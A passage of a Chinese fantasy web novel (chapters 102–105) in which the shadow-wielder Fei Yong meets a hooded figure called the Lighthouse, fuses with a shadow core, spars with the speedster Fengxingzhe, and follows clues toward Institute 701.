费勇的心脏猛地一缩。他操控暗影顺着地面蔓延出去,接触到风行者影子的瞬间,突然看到段模糊的画面——风行者被绑在椅子上,审判长拿着支针管,针尖泛着幽蓝的光。
"不是背叛。"费勇的影刃在掌心凝聚,"他被控制了。"
老鬼突然从怀里掏出个银色的装置扔给林悦:"特调科的紧急通讯器,只有你父亲留下的密码能启动。"他推了费勇一把,"带她们去核心区,灯塔在等你。这里我来应付。"
苏清月的绿藤突然指向培养舱的裂缝:"等等!这些植物标本在传递信息!"她将手掌按在舱体上,闭上眼睛,"它们说……影石阵的最后一块碎片,在701研究所。"
701研究所。
这个名字让费勇的影子突然刺痛。他想起父亲档案里的备注,失踪前的最后任务地点,正是701研究所。
"快走!"夜枭的声音带着焦急,他的猫头鹰面具上裂开了道缝,"风行者快突破第三道防线了!"
费勇最后看了眼老鬼。老人正将手按在墙壁上,无数的信息光点从他掌心涌出,在空气中组成道信息屏障。当费勇的目光扫过老鬼的影子时,突然愣住了——那影子的轮廓,和档案里父亲的照片惊人地相似。
"费勇哥,走了!"夏艳玲拽着他的衣角,布娃娃的眼睛在黑暗中闪闪发亮,像是在指引方向。
费勇深吸一口气,暗影卷起所有人,朝着基地核心区冲去。身后,老鬼的吼声和能量**的巨响混在一起,形成首悲壮的交响曲。
**的是,在他们离开后,老鬼看着监控屏幕上费勇的背影,轻轻说了句:"老费,你儿子比你当年更勇敢。"说完,老人的影子里,缓缓浮现出半块影石碎片的轮廓。
第102章:灯塔的第一次“召见”
暗影裹挟着众人穿过**产生的浓烟时,费勇突然按住夏艳玲的脑袋往自己怀里按。下一秒,块燃烧的金属碎片擦着小姑娘的发顶飞过,在走廊墙壁上砸出串火星。
“核心区在地下三层。”夜枭的声音像砂纸摩擦,他扯掉半边破损的猫头鹰面具,露出下巴上道新鲜的伤口,“电梯被入侵了,走应急通道。”
林悦的电流在指尖炸成朵小火花,照亮楼梯间积灰的台阶:“应急通道的门锁是特调科三年前淘汰的型号,我能开。”她话音刚落,脚下突然传来金属扭曲的声响,三阶台阶毫无征兆地塌陷下去,露出底下翻滚的黑雾。
“影蚀!”苏清月的绿藤瞬间缠上众人的腰,叶片绷得笔直,“裁决会把影蚀灌进了通风管!”
费勇的暗影猛地铺开,在塌陷处织成道黑色的网。黑雾撞上暗影的瞬间发出滋滋的声响,像热油滴进冷水里。他突然注意到,那些黑雾中漂浮着细小的银色颗粒——和父母怀表内侧的纹路材质一模一样。
“抓紧了。”费勇低喝一声,暗影网突然翻卷成筒,带着所有人往下坠落。耳边的风声里,他听见夏艳玲的布娃娃发出细微的咔哒声,像是内部的齿轮在转动。
落地时,费勇故意让自己垫在最下面。震感传来的瞬间,他感觉到掌心的影石碎片突然发烫,影子里的六块碎片开始疯狂旋转,在地面投射出个完整的金色圆环。
“这是……影石共鸣?”夜枭的声音带着难以置信,“只有完整的影石阵才能触发这种反应。”
林悦踹开面前的防火门,动作顿了顿:“你们管这叫核心区?”
门后并非想象中戒备森严的密室,而是间摆满旧书架的房间。空气中弥漫着樟脑和旧纸张的味道,最里面的高背椅上坐着个身影,全身笼罩在黑袍里,兜帽压得极低,只能看到落在扶手上的手指——苍白,骨节突出,指甲修剪得异常整齐。
“费勇。”黑袍人的声音经过**处理,像无数根细针在刮擦玻璃,“十年了,你的暗影终于长成了。”
费勇的瞳孔骤然收缩。对方的指尖在扶手上轻轻敲击,节奏和他父亲敲怀表盖的习惯完全一致。
“别紧张。”黑袍人轻笑一声,**的电流声突然刺啦响了一下,露出瞬间的本音——低沉,带着点烟嗓,像浸在水里泡了十年的石头,“坐。”
苏清月突然拽了拽费勇的袖子,绿藤在他手腕上绕了圈。费勇低头,看到藤蔓叶片上浮现出细小的字:“他的生命气息很弱,像……靠某种装置维持着。”
夏艳玲抱着布娃娃缩在费勇身后,突然小声说:“他的影子在发抖,像很冷的样子。”
费勇顺着她的目光看去。黑袍人的影子在地面蜷缩成一团,边缘处不断有黑色的颗粒剥落,像正在融化的冰。
“老鬼让你带的话,你应该听到了。”黑袍人突然抬手,枚黑色晶体从袍袖里飞出,悬在费勇面前,“这是影核,能帮你稳定暗影重构的能量。”
晶体约莫鸽子蛋大小,表面流动着暗紫色的光,里面隐约能看到无数细小的影子在沉浮。费勇伸手去接的瞬间,影核突然爆发出强烈的吸力,他影子里的碎片像被磁铁吸引般剧烈震动。
“三天后的测试。”黑袍人收回手,指尖在扶手上敲出更快的节奏,“通过了,你就能知道父母的全部真相。通不过……”他顿了顿,**的杂音里混进声极轻的叹息,“你会成为影蚀的养料。”
林悦的电流突然暴涨:“你到底是谁?凭什么……”
“林警官。”黑袍人转向她的方向,兜帽下的阴影似乎动了动,“你父亲临终前,托我保管样东西。”他从袍子里掏出个褪色的证章,上面刻着特调科的标志,编号被磨损得看不清,“他说,等你能独立处理A级异能事件,就把这个给你。”
林悦的脸色瞬间煞白。那是父亲的警号证章,十年前随尸体一起失踪,特调科的档案里写着“遗失于**现场”。
苏清月突然按住费勇的肩膀,绿藤指向书架第三层:“那里有青禾堂的藏书!”她快步走过去抽出本书,书页间掉出张泛黄的照片——正是档案里费勇父母和灯塔的合影,但照片边缘多了行小字:701研究所,影石计划启动日。
“701研究所。”费勇捏紧照片,暗影不受控制地溢出,“我父母的失踪和那里有关,对吗?”
黑袍人的影子突然剧烈扭曲,扶手上的手指猛地攥紧:“测试通过,你自然会知道。”他的声音陡然拔高,“现在,回答我的问题。”
费勇感觉空气突然变得粘稠,黑袍人的气息像张无形的网罩下来。
“如果裁决会抓了你的同伴,”**的杂音突然消失,露出那道低沉的烟嗓,“用他们的命逼你交出影石碎片,你会动用可能失控的力量吗?”
林悦的电流瞬间挡在费勇面前:“你什么意思?”
苏清月的绿藤缠上夏艳玲,将她护在身后:“这是陷阱问题。”
费勇却拨开他们的防御,直视着黑袍人的方向。影子里的碎片旋转得越来越快,在他眼底投出金色的光:“我会。”
黑袍人沉默了足足十秒,房间里只能听到夏艳玲布娃娃的齿轮声。突然,声极轻的笑从黑袍里传出来,这次没有经过**,带着释然,也带着难以言喻的疲惫。
“很好。”黑袍人重新戴上**,声音又变回冰冷的机械音,“这才是我要的答案。”他抬手挥了挥,书架突然从中间分开,露出后面的电梯,“夜枭会带他们去休息室,费勇留下。”
林悦按住费勇的胳膊,电流在他手心里写了个“防”字。苏清月把清心丸塞进他口袋,低声说:“能量紊乱就捏碎它。”
夏艳玲突然扑过来抱住费勇的腰,把布娃娃塞进他手里:“它会保护你。”小姑娘的
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眼泪滴在他手背上,烫得像团小火苗。
电梯门关上的瞬间,费勇听到林悦的怒吼:“要是他少根头发,我拆了你这破基地!”
房间里只剩下他和黑袍人时,费勇突然将布娃娃举到面前。娃娃的眼睛不知何时变成了金色,在他掌心投射出个微小的影像——老鬼正被两个穿白大褂的人按在椅子上,额头贴着块电极片。
“别担心老鬼。”黑袍人突然说,“他只是需要休息。”
费勇的影刃瞬间出鞘,抵在黑袍人的脖颈处:“影核到底是什么?测试的内容是什么?”
黑袍人没有躲,甚至微微抬头,让兜帽下的阴影露出更多:“影核是你父亲的研究成果,用他的暗影本源提炼的。”他的声音轻得像叹息,“测试……是让你学会在失控边缘保持清醒。”
影刃的尖端突然颤抖起来。费勇感觉到,黑袍人的脖颈处传来熟悉的温度,和他影子里的本源能量产生着微弱的共鸣。
“你到底是谁?”费勇的声音发紧,影刃几乎要划破对方的皮肤。
黑袍人突然抬手按住他的手腕,掌心的温度透过布料传来。费勇的影子在这一刻剧烈沸腾,六块碎片冲破暗影的束缚,在房间里组成个完整的金色光环。
“三天后。”黑袍人松开手,重新缩回袖子里,“到时候你会明白的。”他指了指电梯,“去吧,你的同伴在等你。”
费勇转身时,听到身后传来纸张翻动的声音。他用余光瞥见,黑袍人正从书架上抽出本相册,指尖抚摸着封面——那是本星海学院的毕业纪念册,和他宿舍抽屉里的那本一模一样。
电梯下降时,费勇低头看向掌心的影核。晶体里的影子突然清晰起来,组成个模糊的人脸,正在对他微笑。他猛地攥紧拳头,感觉到布娃娃在口袋里轻轻震动,像在回应他的心跳。
走廊尽头,林悦正用***指着个试图靠近的研究员,苏清月在给夏艳玲处理被划伤的膝盖,小姑娘举着布娃娃的残骸——刚才的投影耗尽了它最后的能量,现在只剩下堆齿轮和棉花。
“这破娃娃还挺耐用。”林悦踹开研究员,走过来撞了撞费勇的肩膀,“没被那黑袍怪胎忽悠吧?”
费勇把影核塞进怀里,突然笑了笑:“忽悠没忽悠,三天后就知道了。”他看向苏清月,“青禾堂的古籍里,有没有提过影石失控的症状?”
苏清月刚点头,整个基地突然剧烈摇晃起来。应急灯闪烁的红光中,广播里传出夜枭急促的声音:“所有成员立刻到训练区集合!风行者突破最后防线了!”
夏艳玲突然指向走廊尽头的窗户,小脸煞白:“外面……有好多影子在笑。”
费勇冲到窗边,瞳孔骤缩。基地外的山谷里,无数扭曲的影子正从地面钻出,像黑色的潮水般涌向入口,每个影子的脸上都带着诡异的笑容——和裁决会审判长的表情一模一样。
第103章:夏艳玲的情绪纽带
风行者突破防线的警报声还在基地里回荡,费勇却突然按住太阳穴蹲了下去。影核像块烧红的烙铁在怀里发烫,影子里的六块碎片疯狂撞击着他的意识,耳边全是细碎的嗡鸣,像是有无数人在同时低语。
“费勇哥!”夏艳玲扑过来想扶他,却被一股无形的力量弹开。小姑娘踉跄着后退两步,怀里的布娃娃残骸突然发出咔哒声,散落的齿轮在地面拼出个歪歪扭扭的“疼”字。
林悦的电流瞬间在费勇周围织成防护网,电网噼啪作响,将那些试图靠近的研究员挡在三米外:“都别动他!”她踹开个举着注射器的白大褂,“谁再往前一步,我电穿他的膝盖!”
苏清月已经跪在费勇身边,绿藤顺着他的手腕缠上去,叶片贴在他的太阳穴上轻轻颤抖。她的眉头越皱越紧,另一只手快速从药箱里掏出银针:“能量紊乱得厉害,影核在排斥他的暗影本源……”
“排斥?”费勇咬着牙挤出几个字,额头上的青筋突突直跳。他能感觉到影核像颗生了锈的齿轮,正卡在他的能量流里疯狂转动,每转一圈,影子就被撕裂一次,“这玩意儿不是说能稳定能量吗?”
“理论上是。”苏清月的银针精准地刺入他的穴位,绿藤的颜色渐渐变深,“但它和你的本源产生了共振,就像……两颗频率不同的心脏被强行绑在一起。”
夏艳玲突然指着费勇的影子尖叫起来:“它在哭!你看它在哭啊!”
众人低头看去,不由得倒吸一口凉气。费勇的影子在地面剧烈扭曲,边缘处不断有黑色的液滴渗出,落在地上竟化作细小的冰晶。那些冰晶很快又融化成水,在灯光下泛着诡异的银光——那是影石碎片的颜色。
“哭?”林悦的电流顿了顿,“影子怎么会……”
话没说完,费勇突然发出一声闷哼,整个人往前栽倒。苏清月眼疾手快地扶住他,却发现他的皮肤正在以肉眼可见的速度变得苍白,嘴唇上甚至凝起了一层霜花。绿藤的叶片开始发黄,显然是被这股紊乱的能量反噬了。
“这样不行。”林悦突然拽掉发绳,长发散下来遮住半张脸,眼神却亮得惊人,“清月,你稳住他的生机,我试试用电流疏导。”她指尖的电流渐渐变成柔和的金色,“我爸的笔记里写过,雷霆能量能中和暗影紊乱,前提是……”
“前提是可能把他电成焦炭。”费勇喘着气笑了笑,影子里突然飞出几道影刃,精准地斩断了靠近的藤蔓,“别乱来,我自己能……”
话音未落,影核的温度骤然升高,费勇像被扔进滚水里的虾,浑身剧烈抽搐起来。他的影子猛地膨胀成黑色巨手,带着毁灭一切的气势朝四周抓去,首当其冲的就是离他最近的苏清月。
“小心!”林悦的电网瞬间暴涨,硬生生扛住了暗影巨手的撞击。电流与暗影碰撞产生的冲击波掀翻了周围的实验台,玻璃器皿碎了一地,其中一片溅到夏艳玲的手背上,划出道血痕。
小姑娘没哭,只是呆呆地看着自己的伤口。血珠滚落在布娃娃残骸上,那些散落的棉花突然开始发光,像吸饱了月光的萤火虫。夏艳玲突然想起什么,抓起布娃娃往费勇身边跑,任凭林悦的电网擦着她的衣角滋滋作响。
“让开!”林悦想拉住她,却被苏清月拦住。
“相信她。”苏清月的绿藤突然疯狂生长,在费勇周围织成个半透明的茧,“她的情绪能量能感知本源,也许……”
话没说完,夏艳玲已经扑到费勇面前。她举起布娃娃残骸按在费勇的影子上,自己的眼泪终于忍不住掉了下来,正好落在沾了血的棉花上。
奇迹就在此刻发生了。
眼泪与血珠接触的瞬间,突然爆发出刺眼的金光。那些金色的光粒像有生命般腾空而起,在空中盘旋成个小小的漩涡,然后争先恐后地钻进费勇的影子里。
原本狂暴的暗影巨手瞬间安静下来,像被驯服的野兽般缓缓缩回。影核的嗡鸣消失了,费勇感觉到那股撕裂感正在消退,影核像被温水浸泡过的茶叶,渐渐舒展开来,与他的暗影本源融为一体。
“不疼了……”费勇长长地舒了口气,苍白的脸上终于有了血色。他抬头看向夏艳玲,突然愣住了。
小姑娘还保持着举着布娃娃的姿势,眼睛却直勾勾地盯着他,嘴唇哆嗦着,像是有什么东西卡在喉咙里。几秒钟后,她突然清晰地喊出一个名字:
“婉宁阿姨!”
费勇的瞳孔骤然收缩。婉宁是他母亲的名字,这个名字除了远亲和老鬼,只有档案里出现过——夏艳玲怎么会知道?
苏清月也惊呆了,她猛地抓住夏艳玲的肩膀:“你说什么?你认识费勇的妈妈?”
夏艳玲没有回答,她的眼神突然变得空洞,像被抽走了灵魂。下一秒,小姑娘直挺挺地倒了下去,正好被费勇伸手接住。
“艳玲!”
“夏艳玲!”
众人的呼喊声中,费勇突然发现,夏艳玲按在他影子上的布娃娃残骸正在发生变化。那些散落的齿轮和棉花自动拼接起来,在布面上浮现出一行工整的字迹:
“清月,保护好他们。”
苏清月看到这行字,突然捂住嘴失声痛哭。这是她爷爷的笔迹,十年前爷爷临终前,就是用这三个字作为密码,封存了青禾堂的古籍。
林悦的电流在指尖闪烁不定,她看看昏迷的夏艳玲,又看看布娃娃上的字,突然踹了脚旁边的实验台:“这到底是
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怎么回事?夏艳玲到底是谁?”
费勇没有说话,他小心翼翼地将夏艳玲抱起来,发现小姑娘的手心还攥着块东西。摊开一看,是半块小小的影石碎片——和他影子里的碎片纹路完全吻合,显然是从布娃娃里掉出来的。
“她不是普通的流浪少女。”费勇的声音低沉,“她的布娃娃里藏着影石碎片,她能感知影子的情绪,还知道我妈妈的名字……”
苏清月突然停止哭泣,绿藤快速缠上那块影石碎片:“我知道了!她是‘情绪容器’!”她从药箱里翻出本泛黄的古籍,飞快地翻到某一页,“青禾堂的记载里提到过,初代异能者中有人能将情绪注入物体,形成‘情绪容器’,用来储存重要信息……”
“你的意思是,夏艳玲是……”林悦的眼睛越睁越大,“有人把这些信息放进了她的意识里?”
“不止是信息。”费勇轻轻抚摸着夏艳玲的头发,小姑娘的眉头还在微微皱着,像是在做什么不好的梦,“她刚才喊我妈妈‘阿姨’,说明她见过我妈妈。十年前的觉醒潮时,她应该就在现场。”
影核突然在怀里发烫,费勇低头,看到影核表面浮现出模糊的画面:年轻的母亲抱着个婴儿,站在701研究所的门口,手里举着和夏艳玲同款的布娃娃。婴儿的襁褓上绣着个小小的“玲”字。
“是她……”费勇的心脏像是被什么东西揪住了,“十年前,我妈妈抱着的婴儿,就是夏艳玲。”
这个念头刚冒出来,基地的警报声突然变了调。原本急促的“嘀嘀”声变成了缓慢的“呜——呜——”声,像是某种仪式的号角。
林悦冲到监控屏幕前,脸色瞬间变得煞白:“风行者……风行者突破训练区了!他身后跟着的是……裁决会的执法者!”
费勇抱着夏艳玲站起身,影核的能量在体内平稳流动,暗影如臂使指。他看向苏清月:“能让她醒过来吗?”
苏清月摇摇头,绿藤在夏艳玲的手腕上绕了个结:“她的情绪能量透支了,至少要睡六个小时。”她将古籍塞进费勇怀里,“这上面有唤醒情绪容器的方法,也许能找到更多线索。”
林悦的电流已经凝聚成雷矛,她踹开休息室的门,回头冲费勇扬了扬下巴:“走了,新账旧账,该一起算了。”
费勇最后看了眼怀里的夏艳玲,小姑娘的嘴角似乎微微上扬了一下,像是在做什么美梦。他将布娃娃残骸塞进口袋,暗影在脚下铺开,带着他和苏清月跟上林悦的脚步。
走廊里,已经能听到风行者超音速移动带起的破空声,以及执法者的嘶吼。费勇的影核突然轻轻震动,他知道,一场硬仗即将开始——而这一次,他不再是孤军奋战。
第104章:风行者的“欢迎礼”
训练室的合金地板被费勇的暗影烙出第三道痕迹时,影核终于在他掌心稳定下来。暗紫色的晶体表面流转着柔和的光,与他影子里的碎片形成微妙的共振,像支刚调准音的乐队,随时准备奏响乐章。
“差不多了。”费勇活动了下手腕,暗影顺着指尖漫出,在空气中织成张细密的网。这是影核融合后的新能力——“影丝”,比影刃更隐蔽,比影盾更灵活,能像蛛丝般缠住敌人的能量流。
苏清月坐在休息区的长椅上,手里翻着青禾堂的古籍,眼角的余光却始终没离开训练区。夏艳玲还在昏迷,呼吸均匀得像只小憩的猫,布娃娃残骸被她攥在手心,那行“清月,保护好他们”的字迹在灯光下泛着微光。
“能量波动很稳定。”苏清月抬起头,绿藤在她指尖绕了个圈,“比昨天刚融合时顺滑多了,影核像是……专门为你的暗影本源量身定做的。”
费勇笑了笑,正想说什么,训练室厚重的合金门突然发出声刺耳的撕裂声。一道残影带着破风的锐啸撞穿门板,飞溅的金属碎片还没落地,就被股无形的气流掀成了粉末。
“砰!”
费勇只觉得后背被巨锤砸中,整个人不受控制地往前飞出去,狠狠撞在对面的能量屏障上。屏障泛起涟漪般的波纹,他喉咙一甜,差点喷出一口血。
“新人,就这点能耐?”
懒洋洋的嘲讽声在训练室里回荡。费勇挣扎着抬头,看见个穿着黑色作战服的男人斜倚在破损的门框上。对方留着利落的短发,额前几缕碎发被气流吹得乱晃,嘴角噙着抹漫不经心的笑,眼神却像淬了冰的刀,直直刺过来。
最醒目的是他的作战靴——靴底嵌着圈银色的环,正微微发烫,显然是超音速移动时与空气摩擦的痕迹。
风行者。
费勇的暗影瞬间暴涨,影丝如箭般射向对方,却在离他半米处突然溃散。风行者甚至没动,只是随意地抬了抬脚,超音速移动带起的气流就形成道无形的墙,将影丝碾成了光点。
“别白费力气了。”风行者站直身体,身形一晃,已经出现在训练区中央。他歪着头打量费勇,像在评估件刚到货的武器,“灯塔把你吹得天花乱坠,说你的暗影重构比老费当年还厉害……就这?”
“老费?”费勇的瞳孔骤然收缩,暗影在掌心凝聚成刃,“你认识我父亲?”
“认识?”风行者嗤笑一声,突然消失在原地。下一秒,费勇耳边传来他的声音,带着点痞气的嘲弄,“何止认识,当年我还偷过他的实验笔记呢——哦对了,他煮的速食面简直难吃到爆。”
费勇猛地转身,影刃横扫而出,却劈了个空。风行者早已退到三米外,手里把玩着把造型古怪的**——刀刃泛着暗蓝色的光,边缘处有电流滋滋作响,显然是特制的异能武器。
“别紧张。”风行者掂了掂**,突然朝费勇扔过来,“试试这个。”
**划破空气的锐啸几乎凝成实质。费勇下意识地抬手去接,指尖刚触碰到刀柄,就感觉到股狂暴的能量顺着手臂窜上来,像是有无数只蜜蜂在啃噬他的神经。他猛地撒手,**“笃”地钉在他刚才站立的位置,整把刀都在震颤,竟在合金地板上钻出个细密的小孔。
“特制的‘扰能**’。”风行者拍了拍手,作战靴底的银环再次亮起,“裁决会的新玩意儿,能干扰异能者的能量流。你要是连这都接不住,趁早滚出破晓,别污了老费的名声。”
费勇盯着那把还在震颤的**,突然笑了。刚才那瞬间的能量冲击里,他清晰地捕捉到股熟悉的波动——和影石碎片的纹路完全吻合。这哪是挑衅,分明是在试探他对影石能量的掌控力。
“看来你不傻。”风行者挑了挑眉,身影再次模糊,“十招。接住我十招,我就承认你有资格站在这里。”
话音未落,第二道残影已经杀到。费勇这次没有硬接,暗影在脚下炸开,借着反冲力向侧面滑出五米。风行者的拳头擦着他的衣角砸在能量屏障上,屏障应声出现道裂纹,碎石簌簌落下。
“反应挺快。”风行者收回拳头,指节泛着白,“但这只是开始。”
他的身影在训练室里高速移动,留下道道重叠的残影,像支训练有素的军队在四面夹击。费勇的暗影织成密不透风的盾,却还是被对方找到破绽——风行者不知何时绕到了他身后,手肘带着破空声撞向他的后心。
“小心!”苏清月的绿藤突然暴起,像道绿色的闪电缠上风行者的手臂。
“啧,碍事。”风行者手腕一翻,气流猛地炸开,绿藤瞬间被震得僵直。苏清月闷哼一声,脸色苍白了几分。
就是现在!
费勇眼中精光一闪,故意卖了个破绽,暗影看似慌乱地向左侧偏移。风行者果然中计,身影如箭般窜过来,想要一击制胜。就在两人距离不足半米时,费勇突然转身,早已备好的影丝猛地收紧,像条毒蛇般缠住了风行者的脚踝。
“嗯?”风行者脸色微变,想发动超音速挣脱,却发现影丝竟顺着他的能量流往上爬,像附骨之疽般难以摆脱。
更让他惊讶的是,费勇的身影突然变得模糊,速度骤然提升,竟在他面前留下道残影——赫然是他的“超音速”异能!
“你能复制异能?”风行者的语气终于有了波动。
费勇没回答,复制来的超音速让他头晕目眩,太阳穴突突直跳,像是有无数根针在扎。但他知道,这是唯一的机会。借着这转瞬即逝的三秒,他反手拔起地上的扰能**,手腕一翻,**带着破风的锐啸,直直掷回风行者面前。
“铛!”
风行者仓促间抬手格挡,**擦着他的指骨飞过,钉在他身后的门框上,尾端还在嗡嗡震颤。
超音速的时效恰好结束。费勇像被抽走了骨头,双腿一软,差点跪倒在地。暗影瞬间萎靡,影丝也失去了力道,从风行者脚踝上滑落。
训练室里一片死寂,只剩下两人粗重的
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喘息声。
苏清月赶紧跑过来扶住费勇,绿藤贴在他后心,输送着温和的治愈能量:“怎么样?有没有伤到内脏?”
费勇摇摇头,视线却没离开风行者。对方还保持着格挡的姿势,脸上的嘲讽早已消失,取而代之的是种复杂的神色,像惊讶,又像……欣慰?
“三秒。”风行者突然开口,作战靴底的银环渐渐冷却,“复制我的异能能撑三秒,比我想象中强点。”他走到门框边,拔下那把扰能**,掂量了两下,突然扔给费勇,“拿着吧。”
费勇接住**,不解地看着他。
“算是……欢迎礼。”风行者转过身,往门外走去,身影又开始变得模糊,“三天后的测试好好准备,别给老费丢人。”
走到门口时,他突然顿住脚步,头也不回地补充了句:“还有,少让那丫头的藤蔓缠我,痒得慌。”
残影消失在走廊尽头,训练室里只剩下破损的门板和满地狼藉。
苏清月突然“噗嗤”一声笑出来,绿藤在她指尖绕出个俏皮的圈:“看来,他认可你了。”
费勇握着那把扰能**,掌心的影核又开始发烫。**柄上刻着个微小的符号——和破晓徽章上的纹路一模一样。他突然想起风行者提到父亲时的语气,那抹看似嘲弄的笑意底下,藏着的分明是怀念。
“也许吧。”费勇把**别在腰间,暗影再次漫出,开始修复被毁坏的训练室,“但这‘欢迎礼’,可真够疼的。”
苏清月没再接话,只是看着他的影子。不知何时,那六块碎片已经在他影子里排成了整齐的队列,像支等待检阅的军队。而影核的光芒,正透过他的掌心,在碎片上投下圈温暖的光晕,仿佛在无声地诉说着什么。
就在这时,费勇的影子突然剧烈扭曲起来。影丝不受控制地绷直,像被什么东西拉扯着,尖端指向训练室的通风口。他能感觉到,股熟悉的、带着恶意的能量正顺着通风管蔓延进来——是裁决会的影蚀!
“怎么回事?”苏清月的绿藤瞬间绷紧,护住昏迷的夏艳玲,“基地的防御系统不是能过滤影蚀吗?”
费勇没回答,他的注意力全在影子里突然浮现的人脸——无数模糊的面容在暗影中嘶吼,五官扭曲得不成样子,却都在重复着同一个词,声音细碎而绝望:
“……701……”
701研究所。
这个名字像把钥匙,猛地捅开了费勇记忆深处的锁。他想起父母档案里的失踪地点,想起影核里母亲抱着婴儿的画面,想起夏艳玲喊出的“婉宁阿姨”……所有线索像散落的珠子,突然被一根无形的线串了起来。
通风口的格栅突然发出“咔哒”声,被影蚀腐蚀出个黑洞。黑洞里,隐约能看到双闪烁着红光的眼睛,正死死盯着训练区里的几人。
费勇握紧了腰间的扰能**,影核在掌心剧烈发烫。他知道,风行者的“欢迎礼”刚结束,真正的考验,已经顺着通风管,悄然而至。
第105章:影核的副作用
费勇是被冻醒的。
不是体温降低的那种冷,而是从骨头缝里渗出来的寒意,像有无数条冰虫顺着血管往心脏里钻。他猛地睁开眼,发现自己躺在训练室的医疗床上,苏清月正坐在床边调试营养液,绿藤缠绕着输液管,将植物精华一点点注入液体里。
“醒了?”苏清月立刻放下针管,伸手探向他的额头,指尖的温度带着草木的清新,“感觉怎么样?复制风行者的异能反噬比预想中严重,你的神经末梢有点受损。”
费勇想点头,却发现脖子像生锈的合页,转动时发出僵硬的咯吱声。他偏过头看向地面,心脏猛地一缩——他的影子正在疯狂扭动,边缘处像被撕碎的纸页般卷曲着,无数张模糊的人脸在暗影里浮沉,嘴巴一张一合,却发不出任何声音。
“它们一直在吵。”费勇的声音干涩得像砂纸摩擦,“从你给我注射营养液的时候就开始了。”
苏清月的脸色沉了沉,绿藤悄悄蔓延到地面,叶片贴在费勇的影子上轻轻颤抖:“我感知到了,是很混乱的能量波动,但……”她顿了顿,语气里带着困惑,“它们没有攻击性,更像是……在求救。”
“求救?”费勇皱眉,刚想让暗影平静下来,影子里突然炸开无数细碎的光点。那些人脸瞬间变得清晰,痛苦的嘶吼声穿透耳膜——不是通过空气传播,而是直接在他的意识里炸开。
“呃!”费勇疼得蜷缩起来,双手死死按住太阳穴。影核在胸口发烫,像块烧红的烙铁,将那些嘶吼声放大了无数倍。他看到了各种各样的表情:愤怒的、绝望的、不甘的……最清晰的是张年轻女孩的脸,眼睛里淌着血泪,嘴型一遍遍重复着“救我”。
“费勇哥!”
夏艳玲的声音突然从门口传来。小姑娘不知何时醒了,抱着布娃娃残骸站在门口,睡眼惺忪的脸上满是惊恐。她指着费勇的影子,小手指抖得厉害:“好多人……他们在哭。”
费勇这才发现,夏艳玲的布娃娃残骸正在发光,那些散落的齿轮拼成个微型的漩涡,正吸收着影子里溢出来的黑色雾气。雾气接触到齿轮的瞬间,会发出细微的噼啪声,像烧红的铁碰到冷水。
“这是……”苏清月惊讶地站起身,“情绪载体能过滤这些残念?”
“不是过滤,是共鸣。”
苍老的声音从阴影里传来。老鬼不知何时出现在训练室的角落,还是那身洗得发白的中山装,手里把玩着个铜制的烟杆,烟锅里没有烟丝,却冒着淡淡的白烟。他慢悠悠地走过来,烟杆轻轻点向费勇的影子。
“滋啦——”
白烟接触到暗影的瞬间,那些嘶吼的人脸突然静止了,像被按下暂停键的录像带。老鬼收回烟杆,烟锅里的白烟更浓了些:“影核的副作用,放大了你对暗影能量的感知。这些不是幻觉,是被裁决会抹杀的异能者残念,附着在暗影能量里,被影核引出来了。”
费勇愣住了:“残念?异能者死后还会留下这个?”
“不是死后。”老鬼蹲下身,烟杆在地面画出个复杂的符号,正好将费勇的影子圈在里面,“是被影蚀吞噬时,强烈的情绪能量凝结成的碎片。裁决会用影蚀处理‘不合格’的异能者,这些残念就像粘在鞋底的泥,越积越多。”他敲了敲烟杆,“你的暗影本源能吸收暗影能量,自然也会把这些‘泥’一起吸进来,影核就是那个放大镜。”
苏清月突然想起什么,快步走到书架前翻找起来:“青禾堂的古籍里提过‘能量残留’,说强烈的情绪会在空间里留下印记,但……”她抽出本泛黄的线装书,眉头紧锁,“没说过能附着在异能者体内。”
“因为没人像他这样,体内有暗影本源。”老鬼的烟杆指向费勇胸口,“影核是用老费的本源提炼的,相当于给你的暗影装了个扩音器,现在整个基地的暗影能量里飘着的残念,都能被你听见。”
费勇突然抓住老鬼的手腕,眼睛因疼痛而泛红:“我父亲也经历过这个?他是怎么处理的?”
老鬼沉默了片刻,烟锅里的白烟突然熄灭:“他没处理。当年为了稳定影石阵,他主动吸收了太多残念,到最后……”他没说下去,只是从口袋里掏出个黄色的符纸包,“这是苏丫头爷爷画的安神符,用晨露浸泡过的桃木浆画的,能暂时屏蔽这些杂音。”
符纸刚碰到费勇的影子,那些嘶吼的人脸就像退潮般消失了。暗影恢复了平静,只是颜色比之前深了些,像被墨水泡过。费勇长长地舒了口气,冷汗顺着额角滑落,浸湿了枕头。
“但这不是长久之计。”老鬼收起烟杆,“三天后的测试,就是让你学会在这些残念里保持清醒。你得学会‘筛选’,像筛沙子一样,留下有用的能量,把残念排出去。”
夏艳玲突然走到床边,举起手里的布娃娃残骸。那些齿轮不知何时又变了形状,拼成个模糊的建筑轮廓,尖顶圆窗,像座废弃的古堡。小姑娘指着轮廓顶端,小声说:“那个哭的姐姐说,她是从这里掉下来的。”
费勇和苏清月对视一眼,都看到了对方眼里的震惊。老鬼却像是早有预料,从怀里掏出张照片递给费勇:“认识这地方吗?”
照片上是座破败的研究所,外墙爬满藤蔓,门牌上的“701”字样被风雨侵蚀得只剩个模糊的轮廓——和夏艳玲拼出的轮廓一模一样。
“701研究所。”费勇的指尖抚过照片上的门牌,影核突然又开始发烫,这次却不是疼痛,而是种强烈的共鸣。他的影子里再次浮现出人脸,这次只有一张——穿着白大褂,戴着金丝眼镜,笑容温和,正是档案里他父亲的照片。
“他在说‘701研究所’。”夏艳玲突然开口,小手按住费勇的手背,
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“他说……‘钥匙在清月那里’。”
苏清月猛地抬头,下意识地摸向脖子上的玉佩。那是块翠绿的玉佩,雕着藤蔓缠绕的图案,是爷爷临终前挂在她脖子上的,说是能“指引方向”。她一直以为只是普通的护身符,难道……
“看来老费早就留了后手。”老鬼站起身,往门口走去,“丫头,把你那块玉佩取下来给费勇看看。老苏当年和老费在701一起待过,这玉佩说不定真藏着什么。”
苏清月刚解开玉佩的绳结,基地的警报突然响了。不是之前风行者闯入时的锐啸,而是绵长而急促的“呜——呜——”声,带着种不祥的预兆。
老鬼的脸色瞬间变了:“是特调科的识别信号,他们怎么找到这里的?”
费勇的暗影瞬间铺开,影刃在掌心凝聚:“是冲我们来的?”
“不一定。”老鬼走到窗边,撩开窗帘一角往外看,“带队的是林丫头,没带重武器,不像来抓人的。”他回头看向费勇,眼神复杂,“但特调科从不做没意义的事,她这时候来,恐怕不简单。”
